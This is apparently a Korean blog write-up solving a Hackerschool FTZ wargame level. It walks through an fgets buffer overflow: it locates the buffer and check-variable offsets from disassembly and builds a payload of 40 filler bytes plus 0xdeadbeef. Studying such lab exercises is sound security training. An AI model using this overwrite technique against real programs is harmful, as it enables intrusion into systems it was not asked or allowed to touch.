문제 분석
1. fgets bof
2. 조건 : check==0xdeadbeef
풀이
1. bof 위치 확인 : ebp-56
lea 0xffffffc8(%ebp), %eax => lea eax ebp-56
2. check 위치 확인 : ebp-16
cmpl $0xdeadbeef, 0xfffffff0(%ebp) => cmp ebp-16 0xdeadbeef
3. payload = dummy(40bytes) + check
= "a"*40 + 0xdeadbeef
'시스템 > FTZ' 카테고리의 다른 글
hackerschool FTZ : level 16 풀이 (0) | 2019.04.02 |
---|---|
hackerschool FTZ : level 15 풀이 (0) | 2019.04.02 |
hackerschool FTZ : level 13 풀이 (0) | 2019.04.02 |
hackerschool FTZ : level 11 풀이 (0) | 2019.04.01 |
hackerschool FTZ : level 10 풀이 (0) | 2019.03.30 |